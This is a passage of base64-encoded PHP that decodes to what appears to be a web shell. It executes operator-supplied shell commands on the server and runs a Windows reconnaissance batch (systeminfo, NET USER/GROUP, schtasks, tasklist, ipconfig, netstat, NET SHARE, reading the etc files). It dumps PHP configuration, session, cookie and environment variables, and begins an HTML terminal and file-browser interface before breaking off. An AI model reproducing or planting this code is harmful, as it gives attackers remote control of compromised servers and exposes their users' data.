kdWN0TmFtZSAmICc7CiAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRpLCAncycpID09PSBGQUxTRSkKICAgICAgICAgICAgICAgICAgICAkdiAuPSAkaCAuICdTeXN0ZW0gSW5mbyAmICcgLiAkdCAuICdzeXN0ZW1pbmZvICYgJzsKICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJGksICdlJykgPT09IEZBTFNFKQogICAgICAgICAgICAgICAgICAgICR2IC49ICRoIC4gJ0Vudmlyb25tZW50ICYgJyAuICR0IC4gJ1NFVCAmICc7CiAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRpLCAndScpID09PSBGQUxTRSkKICAgICAgICAgICAgICAgICAgICAkdiAuPSAkaCAuICdVc2VycyBhbmQgR3JvdXBzICYgJyAuICR0IC4gJ05FVCBVU0VSICYgTkVUIExPQ0FMR1JPVVAgJiBORVQgR1JPVVAgJiAnOwogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkaSwgJ3QnKSA9PT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgJHYgLj0gJGggLiAnVGFza3MgJiAnIC4gJHQgLiAnc2NodGFza3MgL3YgJiAnOwogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkaSwgJ3QnKSA9PT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgJHYgLj0gJGggLiAnUHJvY2Vzc2VzICYgJyAuICR0IC4gJ3Rhc2tsaXN0IC9TVkMgJiAnOwogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkaSwgJ24nKSA9PT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgJHYgLj0gJGggLiAnTmV0d29yayAmICcgLiAkdCAuICdlY2hvID09Xj4gaXBjb25maWcgXjw9PSAmIGlwY29uZmlnIC9hbGwgJiBlY2hvID09Xj4gbmV0c3RhdCBePD09ICYgbmV0c3RhdCAtYW5vICYgZWNobyA9PV4+IEZpbGVzIF48PT0gJiB0eXBlICVzeXN0ZW1yb290JVxcc3lzdGVtMzJcXGRyaXZlcnNcXGV0Y1xcKiAmICc7CiAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRpLCAncicpID09PSBGQUxTRSkKICAgICAgICAgICAgICAgICAgICAkdiAuPSAkaCAuICdTaGFyZSAmICcgLiAkdCAuICdORVQgU0hBUkUgJiAnOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRpID0gZ2V0Q21kT3B0KCREWydlJ10sICdmJywgRkFMU0UpOwogICAgICAgICAgICBleGUoJHYsICREWydmJ10sICREWydzJ10sIFRSVUUsICRpID8gJyAxPicgLiAkaSA6ICcnKTsKICAgICAgICAgICAgaWYgKCRpKQogICAgICAgICAgICAgICAgZWNobyAnUmVwb3J0IHNhdmVkIGFzICcsICRpLCAiXG4iOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRzID0gTklYID8gJzsnIDogJyYnOwogICAgICAgICAgICAkdiA9ICdjZCAnIC4gKE5JWCA/IG5lc2MoJERbJ3AnXSkgOiB3ZXNjKCREWydwJ10pKSAuICRzOwogICAgICAgICAgICBpZiAoJERbJ2UnXSAhPT0gJycpIHsKICAgICAgICAgICAgICAgICR2IC49ICREWydlJ107CiAgICAgICAgICAgICAgICBpZiAoc3Vic3RyKCREWydlJ10sIC0xKSAhPT0gJHMpCiAgICAgICAgICAgICAgICAgICAgJHYgLj0gJHM7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJHYgLj0gJ2VjaG8gJyAuICJceDAzXHgxRVx4MDIiIC4gJHMgLiAoTklYID8gJ3dob2FtaScgOiAnZWNobyAldXNlcm5hbWUlJykgLiAkcyAuICdob3N0bmFtZScgLiAkcyAuIChOSVggPyAncHdkJyA6ICdjZCcpOwogICAgICAgICAgICBleGUoJHYsICREWydmJ10sICREWydzJ10sICFpc3NldCgkRFsnaCddKSk7CiAgICAgICAgfQogICAgICAgIHNEaWUoIlx4MDNceDFFXHgxN1x4MDRceDEwIik7CiAgICAgICAgYnJlYWs7CiAgICBkZWZhdWx0OgogICAgICAgIGlmICgkRFsndCddID09PSAnbScpIHsKICAgICAgICAgICAgaW5mTWFpbigpOwogICAgICAgICAgICBzRGllKCk7CiAgICAgICAgfQogICAgICAgIGlmICgkRFsndCddID09PSAncCcpIHsKICAgICAgICAgICAgZWNobyAneyJDb25maWdzIjp7JzsKICAgICAgICAgICAgJGEgPSBhcnJheSgpOwogICAgICAgICAgICAkYiA9IEZBTFNFOwogICAgICAgICAgICBpZiAoUEhQX1ZFUlNJT04gPj0gJzUuMi40JykKICAgICAgICAgICAgICAgICRhW10gPSBwaHBfaW5pX2xvYWRlZF9maWxlKCk7CiAgICAgICAgICAgIGlmIChQSFBfVkVSU0lPTiA+PSAnNC4zJykKICAgICAgICAgICAgICAgICRhW10gPSBwaHBfaW5pX3NjYW5uZWRfZmlsZXMoKTsKICAgICAgICAgICAgaWYgKCRhKSB7CiAgICAgICAgICAgICAgICAkYiA9IFRSVUU7CiAgICAgICAgICAgICAgICBlY2hvICciTG9hZGVkIGZpbGVzIjonOwogICAgICAgICAgICAgICAganNvbkVjaG8oaW1wbG9kZSgiLFxuIiwgJGEpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoUEhQX1ZFUlNJT04gPj0gJzQuMicgJiYgaXNfYXJyYXkoJGEgPSBpbmlfZ2V0X2FsbCgpKSkKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRhIGFzICRrID0+ICR2KSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRiKQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICcsJzsKICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICRiID0gVFJVRTsKICAgICAgICAgICAgICAgICAgICBqc29uRWNobygkayk7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnOic7CiAgICAgICAgICAgICAgICAgICAganNvbkVjaG8oJHZbJ2xvY2FsX3ZhbHVlJ10pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICd9JzsKICAgICAgICAgICAgZWNobyAnLCJNYWluIENvbnN0YW50cyI6eyc7CiAgICAgICAgICAgICRiID0gRkFMU0U7CiAgICAgICAgICAgIGZvcmVhY2ggKGFycmF5KAogICAgICAgICAgICAgICAgJ1BIUF9PUycsCiAgICAgICAgICAgICAgICAnUEhQX1dJTkRPV1NfVkVSU0lPTl9NQUpPUicsCiAgICAgICAgICAgICAgICAnUEhQX1dJTkRPV1NfVkVSU0lPTl9NSU5PUicsCiAgICAgICAgICAgICAgICAnUEhQX1dJTkRPV1NfVkVSU0lPTl9CVUlMRCcsCiAgICAgICAgICAgICAgICAnUEhQX1dJTkRPV1NfVkVSU0lPTl9TUF9NQUpPUicsCiAgICAgICAgICAgICAgICAnUEhQX1dJTkRPV1NfVkVSU0lPTl9TUF9NSU5PUicsCiAgICAgICAgICAgICAgICAnUEhQX1dJTkRPV1NfVkVSU0lPTl9TVUlURU1BU0snLAogICAgICAgICAgICAgICAgJ1BIUF9XSU5ET1dTX1ZFUlNJT05fUExBVEZPUk0nLAogICAgICAgICAgICAgICAgJ1BIUF9XSU5ET1dTX1ZFUlNJT05fUFJPRFVDVFRZUEUnLAogICAgICAgICAgICAgICAgJ1BIUF9XSU5ET1dTX05UX1dPUktTVEFUSU9OJywKICAgICAgICAgICAgICAgICdQSFBfV0lORE9XU19OVF9TRVJWRVInLAogICAgICAgICAgICAgICAgJ1BIUF9XSU5ET1dTX05UX0RPTUFJTl9DT05UUk9MTEVSJywKICAgICAgICAgICAgICAgICdQSFBfU0FQSScsCiAgICAgICAgICAgICAgICAnUEhQX1ZFUlNJT04nLAogICAgICAgICAgICAgICAgJ1BIUF9CSU5BUlknLAogICAgICAgICAgICAgICAgJ1BIUF9QUkVGSVgnLAogICAgICAgICAgICAgICAgJ1BIUF9CSU5ESVInLAogICAgICAgICAgICAgICAgJ1BIUF9MSUJESVInLAogICAgICAgICAgICAgICAgJ1BIUF9TSExJQl9TVUZGSVgnLAogICAgICAgICAgICAgICAgJ1BIUF9FWFRFTlNJT05fRElSJywKICAgICAgICAgICAgICAgICdQSFBfREFUQURJUicsCiAgICAgICAgICAgICAgICAnUEhQX0NPTkZJR19GSUxFX1BBVEgnLAogICAgICAgICAgICAgICAgJ1BIUF9DT05GSUdfRklMRV9TQ0FOX0RJUicsCiAgICAgICAgICAgICAgICAnUEhQX01BTkRJUicsCiAgICAgICAgICAgICAgICAnREVGQVVMVF9JTkNMVURFX1BBVEgnLAogICAgICAgICAgICAgICAgJ1BIUF9TWVNDT05GRElSJywKICAgICAgICAgICAgICAgICdQSFBfTE9DQUxTVEFURURJUicsCiAgICAgICAgICAgICAgICAnRElSRUNUT1JZX1NFUEFSQVRPUicsCiAgICAgICAgICAgICAgICAnUEFUSF9TRVBBUkFUT1InLAogICAgICAgICAgICAgICAgJ1BIUF9NQVhQQVRITEVOJywKICAgICAgICAgICAgICAgICdQSFBfSU5UX01BWCcsCiAgICAgICAgICAgICAgICAnUEhQX0lOVF9TSVpFJywKICAgICAgICAgICAgICAgICdQRUFSX0lOU1RBTExfRElSJywKICAgICAgICAgICAgICAgICdQRUFSX0VYVEVOU0lPTl9ESVInCiAgICAgICAgICAgICkgYXMgJHYpCiAgICAgICAgICAgICAgICBpZiAoZGVmaW5lZCgkdikpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJGIpCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJywnOwogICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgJGIgPSBUUlVFOwogICAgICAgICAgICAgICAgICAgIGVjaG8gJyInLCAkdiwgJyI6JzsKICAgICAgICAgICAgICAgICAgICBqc29uRWNobyhjb25zdGFudCgkdikpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICd9JzsKICAgICAgICAgICAgaWYgKGlzX2FycmF5KCRhID0gZ2V0X2xvYWRlZF9leHRlbnNpb25zKCkpKSB7CiAgICAgICAgICAgICAgICBlY2hvICcsIk1vZHVsZXMiOnsnOwogICAgICAgICAgICAgICAgJGIgPSBGQUxTRTsKICAgICAgICAgICAgICAgICRpID0gYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgJ0RPVFRFRF9WRVJTSU9OJywKICAgICAgICAgICAgICAgICAgICAnVkVSU0lPTicsCiAgICAgICAgICAgICAgICAgICAgJ1ZFUlNJT05fVEVYVCcKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkYSBhcyAkdikgewogICAgICAgICAgICAgICAgICAgIGlmICgkYikKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnLCc7CiAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAkYiA9IFRSVUU7CiAgICAgICAgICAgICAgICAgICAganNvbkVjaG8oJHYpOwogICAgICAgICAgICAgICAgICAgIGVjaG8gJzonOwogICAgICAgICAgICAgICAgICAgIGlmICghKCRrID0gcGhwdmVyc2lvbigkdikpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR2ID0gc3RydG91cHBlcigkdik7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRpIGFzICRuKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGRlZmluZWQoJHYgLiAnXycgLiAkbikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkayA9IGNvbnN0YW50KCR2IC4gJ18nIC4gJG4pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZiAoJGspCiAgICAgICAgICAgICAgICAgICAgICAgIGpzb25FY2hvKCRrKTsKICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJyIiJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVjaG8gJ30nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChQSFBfVkVSU0lPTiA+PSAnNScpIHsKICAgICAgICAgICAgICAgIGVjaG8gJywiU3RyZWFtcyI6eyJUcmFuc3BvcnRzIjonOwogICAgICAgICAgICAgICAganNvbkVjaG8oaW1wbG9kZSgiLCAiLCBzdHJlYW1fZ2V0X3RyYW5zcG9ydHMoKSkpOwogICAgICAgICAgICAgICAgZWNobyAnLCJXcmFwcGVycyI6JzsKICAgICAgICAgICAgICAgIGpzb25FY2hvKGltcGxvZGUoIiwgIiwgc3RyZWFtX2dldF93cmFwcGVycygpKSk7CiAgICAgICAgICAgICAgICBlY2hvICcsIkZpbHRlcnMiOic7CiAgICAgICAgICAgICAgICBqc29uRWNobyhpbXBsb2RlKCIsICIsIHN0cmVhbV9nZXRfZmlsdGVycygpKSk7CiAgICAgICAgICAgICAgICBlY2hvICd9JzsKICAgICAgICAgICAgfQogICAgICAgICAgICAkYiA9IEZBTFNFOwogICAgICAgICAgICBmb3JlYWNoIChhcnJheSgKICAgICAgICAgICAgICAgICdfRU5WJywKICAgICAgICAgICAgICAgICdfU0VSVkVSJywKICAgICAgICAgICAgICAgICdfU0VTU0lPTicsCiAgICAgICAgICAgICAgICAnX1JFUVVFU1QnLAogICAgICAgICAgICAgICAgJ19HRVQnLAogICAgICAgICAgICAgICAgJ19QT1NUJywKICAgICAgICAgICAgICAgICdfQ09PS0lFJywKICAgICAgICAgICAgICAgICdfRklMRVMnLAogICAgICAgICAgICAgICAgJ0hUVFBfUkFXX1BPU1RfREFUQScsCiAgICAgICAgICAgICAgICAnYXJnYycsCiAgICAgICAgICAgICAgICAnYXJndicKICAgICAgICAgICAgKSBhcyAkdikKICAgICAgICAgICAgICAgIGlmIChpc3NldCgkJHYpICYmIGNvdW50KCQkdikgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCEkYikKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnLCJHbG9iYWwgVmFyaWFibGVzIjp7JzsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkJHYgYXMgJGsgPT4gJGkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRiKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnLCc7CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRiID0gVFJVRTsKICAgICAgICAgICAgICAgICAgICAgICAganNvbkVjaG8oJHYgLiAnWycgLiAkayAuICddJyk7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzonOwogICAgICAgICAgICAgICAgICAgICAgICBqc29uRWNobyhwcmludF9yKCRpLCBUUlVFKSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJGIpCiAgICAgICAgICAgICAgICBlY2hvICd9JzsKICAgICAgICAgICAgc0RpZSgnfScpOwogICAgICAgIH0KICAgICAgICBicmVhazsKfQoKfQoKb2Jfc3RhcnQoKTsKPz4KCjwhRE9DVFlQRSBodG1sPjxodG1sPjxoZWFkPjxsaW5rIHJlbD0iaWNvbiIgdHlwZT0iaW1hZ2UvZ2lmIiBocmVmPSJkYXRhOmltYWdlL2ljbztiYXNlNjQsPD9waHAgJGljbyA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10uJy9mYXZpY29uLmljbyc7IGVjaG8gKGZpbGVfZXhpc3RzKCRpY28pID8gYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkaWNvKSkgOiAnUjBsR09EbGhFQUFRQUpFQ0FNREF3QUFBQVAvLy93QUFBQ0g1QkFFQUFBSUFMQUFBQUFBUUFCQUFRQUlnbEkrcEd3RXJnSVR0aVdvd2M3RDdiMGlXR0U3Z3A1MXFrbnJrZW1neUJ4Y0FPdz09Jyk7Pz4iLz48bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibm8tcmVmZXJyZXIiLz48dGl0bGU+PD9waHAgaWYoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSllY2hvIGVzY0hUTUwoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTtlbHNlaWYoaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pKWVjaG8gZXNjSFRNTCgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSk7Pz48L3RpdGxlPjxzdHlsZT4qe2JveC1zaXppbmc6Ym9yZGVyLWJveDtvdXRsaW5lOjB9OmZvY3Vze291dGxpbmU6bm9uZTt9OmRpc2FibGVke29wYWNpdHk6LjV9OjotbW96LWZvY3VzLWlubmVye3BhZGRpbmc6MDtib3JkZXI6MH1odG1se2hlaWdodDoxMDAlO3BhZGRpbmc6MCAwIDhweCAwO2JhY2tncm91bmQtY29sb3I6I2YwZjBmMH1ib2R5e2JhY2tncm91bmQ6I2YwZjBmMDtwb3NpdGlvbjpyZWxhdGl2ZTtkaXNwbGF5OmZsZXg7bWFyZ2luOjAgYXV0byA4cHggYXV0bzt3aWR0aDoxMDAwcHg7bWluLWhlaWdodDoxMDAlO2ZvbnQ6bm9ybWFsIDExcHgvMS41IFZlcmRhbmEsc2Fucy1zZXJpZjtib3JkZXI6MXB4IHNvbGlkICNmZmY7Ym94LXNoYWRvdzowIDAgMTBweCByZ2JhKDAsMCwwLC41KTtmbGV4LWRpcmVjdGlvbjpjb2x1bW59aWZyYW1le2Rpc3BsYXk6bm9uZX1hLGE6dmlzaXRlZHtjb2xvcjp1bnNldDt0ZXh0LWRlY29yYXRpb246bm9uZX1wcmV7ZGlzcGxheTpibG9ja31maWVsZHNldHtib3JkZXI6MXB4IHNvbGlkICNjN2M3Yzd9dGFibGV7Zm9udC1zaXplOjEycHg7d2lkdGg6MTAwJTtib3JkZXItY29sbGFwc2U6Y29sbGFwc2V9dGgsdGR7cGFkZGluZzozcHggNXB4O2JvcmRlcjoxcHggc29saWQgI2RmZGZkZn10aGVhZCx0Zm9vdHtjb2xvcjojZmNmY2ZjO2JhY2tncm91bmQ6IzdmN2Y3Zn10Ym9keXtiYWNrZ3JvdW5kOiNmN2Y3Zjd9dGJvZHkgdHI6aG92ZXJ7YmFja2dyb3VuZDojZWNlY2VjfXRmb290IHRoe3BhZGRpbmc6OHB4IDAgNHB4IDJweDt0ZXh0LWFsaWduOmxlZnR9dGZvb3QgYnV0dG9ue3dpZHRoOjkwcHh9aW5wdXQsc2VsZWN0LGJ1dHRvbix0ZXh0YXJlYXttYXJnaW46MXB4IDJweDtmb250OjExcHgvMS40IFZlcmRhbmEsc2Fucy1zZXJpZjtiYWNrZ3JvdW5kOiNlYWVhZWE7Ym9yZGVyOjFweCBzb2xpZCAjYzdjN2M3fWxhYmVsLHNlbGVjdCxidXR0b257Y3Vyc29yOnBvaW50ZXJ9YnV0dG9ue3BhZGRpbmc6MXB4IDEwcHg7Ym9yZGVyLXJhZGl1czozcHh9dGV4dGFyZWF7ZGlzcGxheTpibG9jaztmbGV4OjE7Zm9udDoxM3B4LzEuNSAnQ291cmllciBOZXcnLG1vbm9zcGFjZTtiYWNrZ3JvdW5kOiNmZmY7cmVzaXplOm5vbmV9aW5wdXRbdHlwZT0idGV4dCJde3BhZGRpbmc6MXB4IDJweDtkaXNwbGF5OmJsb2NrO3dpZHRoOjEwMCU7ZmxleDoxfWlucHV0W3R5cGU9InRleHQiXTpub3QoOmRpc2FibGVkKTpmb2N1c3tiYWNrZ3JvdW5kOiNmZmZ9aW5wdXRbdHlwZT0iY2hlY2tib3giXXt2ZXJ0aWNhbC1hbGlnbjp0ZXh0LXRvcH1pbnB1dDpub3QoOmRpc2FibGVkKTpob3ZlcixzZWxlY3Q6bm90KDpkaXNhYmxlZCk6aG92ZXIsYnV0dG9uOm5vdCg6ZGlzYWJsZWQpOmhvdmVyLGlucHV0Om5vdCg6ZGlzYWJsZWQpOmZvY3VzLHNlbGVjdDpub3QoOmRpc2FibGVkKTpmb2N1cyxidXR0b246bm90KDpkaXNhYmxlZCk6Zm9jdXN7YmFja2dyb3VuZDojZjBmMGYwO2JvcmRlci1jb2xvcjojYTdhN2E3fWJ1dHRvbjpub3QoOmRpc2FibGVkKTphY3RpdmV7YmFja2dyb3VuZDojZTBlMGUwO2JvcmRlci1jb2xvcjojYTBhMGEwICNkMGQwZDAgI2QwZDBkMCAjYTBhMGEwfXRleHRhcmVhOmhvdmVyLHRleHRhcmVhOmZvY3Vze2JvcmRlci1jb2xvcjojN2Y3ZjdmfSNkaXZIZHJ7cG9zaXRpb246YWJzb2x1dGU7dG9wOjJweDtyaWdodDo0cHg7ei1pbmRleDoxfSNkaXZCb2R5e3Bvc2l0aW9uOnJlbGF0aXZlO2ZsZXg6MX0jZGl2RnRye21hcmdpbjowIDJweCAzcHggMnB4O2NsZWFyOmJvdGh9I2RpdkZ0ciBkaXZ7ZmxleDoxIDEgMH0jZGl2RHRUbXt0ZXh0LWFsaWduOmNlbnRlcn0jYWN0TG9ne2Rpc3BsYXk6bm9uZTtmbG9hdDpyaWdodDtmb250LXNpemU6MjBweDtsaW5lLWhlaWdodDoxNnB4fSNkaXZNc2dze3Bvc2l0aW9uOmZpeGVkO2xlZnQ6MDtyaWdodDowO2JvdHRvbToxMHB4O3otaW5kZXg6OTk5O21heC1oZWlnaHQ6MjAlO292ZXJmbG93LXk6YXV0b30jZGl2TXNncyBkaXZ7b3BhY2l0eTowLjh9I2Rpdk1zZ3MgZGl2OmhvdmVye29wYWNpdHk6MX0udGFiLDp0YXJnZXQgfiAjdGFiSW5mIC50YWJ7ZGlzcGxheTppbmxpbmUtYmxvY2s7bWFyZ2luOjVweCAwIDAgMnB4O3BhZGRpbmc6M3B4IDE1cHggMXB4IDE1cHg7Y29sb3I6IzcwNzA3MCAhaW1wb3J0YW50O2JvcmRlcjoxcHggc29saWQgI2QwZDBkMDtib3JkZXItYm90dG9tOjA7Ym9yZGVyLXJhZGl1czozcHggM3B4IDAgMDtiYWNrZ3JvdW5kOiNlN2U3ZTd9OnRhcmdldCAudGFiLCN0YWJJbmYgLnRhYntwb3NpdGlvbjpyZWxhdGl2ZTttYXJnaW4tYm90dG9tOi0ycHg7cGFkZGluZy1ib3R0b206M3B4O3otaW5kZXg6MTtjb2xvcjojMDAwICFpbXBvcnRhbnQ7YmFja2dyb3VuZDojZjdmN2Y3fS50YWJQYWdle2Rpc3BsYXk6bm9uZTtmbG9hdDpsZWZ0O3dpZHRoOjEwMCU7aGVpZ2h0OjEwMCU7ZmxleC1kaXJlY3Rpb246Y29sdW1ufTp0YXJnZXQgLnRhYlBhZ2UsI2RpdkluZm8udGFiUGFnZXtkaXNwbGF5OmZsZXh9OnRhcmdldCB+ICN0YWJJbmY+I2RpdkluZm8udGFiUGFnZXtkaXNwbGF5Om5vbmV9LnRvb2xiYXIsLnN1YmJhciwucGFuZWx7ZGlzcGxheTpmbGV4O2JvcmRlcjoxcHggc29saWQgI2QwZDBkMDtiYWNrZ3JvdW5kOiNmN2Y3Zjd9LnRvb2xiYXJ7bWFyZ2luOjFweCAwIDRweCAwO3BhZGRpbmc6OHB4IDJweCA1cHggMnB4O2JvcmRlci13aWR0aDoxcHggMDthbGlnbi1pdGVtczpjZW50ZXI7anVzdGlmeS1jb250ZW50OnNwYWNlLWJldHdlZW59LnN1YmJhcnttYXJnaW46LTVweCAwIDRweCAwO3BhZGRpbmc6MnB4IDNweCA1cHggNXB4O2JvcmRlci13aWR0aDowIDAgMXB4IDFweDtib3JkZXItcmFkaXVzOjAgMCAwIDRweDthbGlnbi1zZWxmOmZsZXgtZW5kfS5wYW5lbHtwb3NpdGlvbjpyZWxhdGl2ZTttYXJnaW46MCAycHggOHB4IDJweDtwYWRkaW5nOjRweCAzcHh9LmFyd1VwLC5hcndEd257ZGlzcGxheTppbmxpbmUtYmxvY2s7bWFyZ2luOjAgMCAycHggMDtwYWRkaW5nOjA7Ym9yZGVyOnNvbGlkIHRyYW5zcGFyZW50O2JvcmRlci13aWR0aDo0cHggNXB4IDRweCA1cHh9LmFyd1Vwe2JvcmRlci10b3A6MDtib3JkZXItYm90dG9tLWNvbG9yOiMwMDB9LmFyd0R3bntib3JkZXItdG9wLWNvbG9yOiMwMDA7Ym9yZGVyLWJvdHRvbTowfS5zcG5DaHJzdHtkaXNwbGF5OmlubGluZS1ibG9jazttYXJnaW46MCAwIDAgNHB4O3BhZGRpbmc6MH0uc3BuQ2hyc3QgLmFyd1VwLC5zcG5DaHJzdCAuYXJ3RHdue3Bvc2l0aW9uOnJlbGF0aXZlO21hcmdpbjowIC0xNnB4IDJweCAycHh9LnNwbkNocnN0IHNlbGVjdHtwYWRkaW5nLWxlZnQ6MTFweH0uY250cmx7ZGlzcGxheTppbmxpbmUtYmxvY2s7b3ZlcmZsb3c6aGlkZGVuO29wYWNpdHk6LjU7Y29sb3I6IzAwMDtib3JkZXItcmFkaXVzOjVweH0uY250cmwuYXJ3RHdue21hcmdpbjowIDFweDtib3JkZXItd2lkdGg6N3B4IDZweCAwIDZweDtib3JkZXItcmFkaXVzOjB9LmNudHJsOmhvdmVyLC5jbnRybDpmb2N1c3tvcGFjaXR5OjF9LmRpdkNudHJscyAuY250cmwsI2J0blNyY2h7d2lkdGg6MThweDtoZWlnaHQ6MTlweH0uZGl2Q250cmxzIC5jbnRybHtmbG9hdDpyaWdodDttYXJnaW4tdG9wOi0xcHg7Zm9udDpub3JtYWwgMjBweC8xNnB4IFZlcmRhbmEsc2Fucy1zZXJpZjt0ZXh0LWFsaWduOmNlbnRlcn0ubG5rQWN0OmhvdmVye3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmV9LmJsaW5re2FuaW1hdGlvbjpibGluayAxcyBzdGVwcygyLHN0YXJ0KSBpbmZpbml0ZX1Aa2V5ZnJhbWVzIGJsaW5re3Rve2NvbG9yOnRyYW5zcGFyZW50fX0ubW9kYWx7ZGlzcGxheTpmbGV4O3Bvc2l0aW9uOmZpeGVkO3Zpc2liaWxpdHk6aGlkZGVuO3otaW5kZXg6MTAwO3RvcDo1MCU7bGVmdDo1MCU7dHJhbnNmb3JtOnRyYW5zbGF0ZVgoLTUwJSkgdHJhbnNsYXRlWSgtNTAlKTtwYWRkaW5nOjNweCAzcHggNXB4IDNweDtmbGV4LWRpcmVjdGlvbjpjb2x1bW47Ym9yZGVyOjFweCBzb2xpZCAjZmZmO2JhY2tncm91bmQ6I2Y3ZjdmNztib3gtc2hhZG93OjAgMCAxMHB4IHJnYmEoMCwwLDAsLjUpfS5kaXZDbnRybHN7bWFyZ2luLWJvdHRvbTo1cHg7dXNlci1zZWxlY3Q6bm9uZTt9LnNwblRpdGxle2ZvbnQtd2VpZ2h0OmJvbGR9Lm9wdGlvbntkaXNwbGF5OmJsb2NrO21hcmdpbjowIDJweCAxMHB4IDJweDtmbGV4OjF9Lm9wdGlvbiBpbnB1dFt0eXBlPSJ0ZXh0Il17bWFyZ2luOjFweCAwfS5vcHRpb24gc2VsZWN0e2Rpc3BsYXk6YmxvY2s7bWFyZ2luOjAgMXB4fS5kaXZNc2dQcmNzLC5kaXZNc2dFcnIsLmRpdk1zZ0luZnttYXJnaW46MCAxMHB4IDEwcHggMTBweDtwYWRkaW5nOjNweCAzcHggM3B4IDVweDt3aGl0ZS1zcGFjZTpwcmUtd3JhcDtib3JkZXI6MXB4IHNvbGlkO2JvcmRlci1yYWRpdXM6M3B4fS5kaXZNc2dQcmNze2JhY2tncm91bmQtaW1hZ2U6bGluZWFyLWdyYWRpZW50KCNmZmYsI2UwZTBlMCk7Ym9yZGVyLWNvbG9yOiNhMGEwYTB9LmRpdk1zZ0VycntiYWNrZ3JvdW5kLWltYWdlOmxpbmVhci1ncmFkaWVudCgjZmZmLCNmZmQwZDApO2JvcmRlci1jb2xvcjojZmZhMGEwfS5kaXZNc2dJbmZ7YmFja2dyb3VuZC1pbWFnZTpsaW5lYXItZ3JhZGllbnQoI2ZmZiwjYzBjMGZmKTtib3JkZXItY29sb3I6I2EwYTBmZn0jZGl2U3RuZ3N7d2lkdGg6MzAwcHh9I2RpdkxvZ3t3aWR0aDo4MCU7aGVpZ2h0OjUwJX0jZGl2TG9nQ250bntvdmVyZmxvdy15OmF1dG99LmZsZXhSb3d7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtqdXN0aWZ5LWNvbnRlbnQ6c3BhY2UtYmV0d2Vlbn0udW5xe2NvbG9yOiM3YTZmMTV9I2RpdlBhZ2VQSFAsI2ZybVRybXtwb3NpdGlvbjphYnNvbHV0ZTtwYWRkaW5nLWJvdHRvbTozMHB4fSNidG5TcmNoe21hcmdpbi1yaWdodDo0cHh9I2J0blNyY2g6YmVmb3JlLCNidG5TcmNoOmFmdGVye2NvbnRlbnQ6Jyc7ZGlzcGxheTppbmxpbmUtYmxvY2s7Ym9yZGVyOjFweCBzb2xpZH0jYnRuU3JjaDpiZWZvcmV7bWFyZ2luOjAgMCAwIDJweDt3aWR0aDo4cHg7aGVpZ2h0OjlweDtib3JkZXItcmFkaXVzOjUwJX0jYnRuU3JjaDphZnRlcnttYXJnaW46MCAwIC01cHggMDtoZWlnaHQ6NnB4O3RyYW5zZm9ybTpyb3RhdGUoLTQ1ZGVnKX0jYnRuRmFzdEFjdHtoZWlnaHQ6MTlweDttYXJnaW4tbGVmdDotNHB4O3BhZGRpbmc6MXB4IDVweDtib3JkZXItcmFkaXVzOjAgM3B4IDNweCAwfSNidG5GYXN0QWN0OmFjdGl2ZXtwYWRkaW5nOjJweCA1cH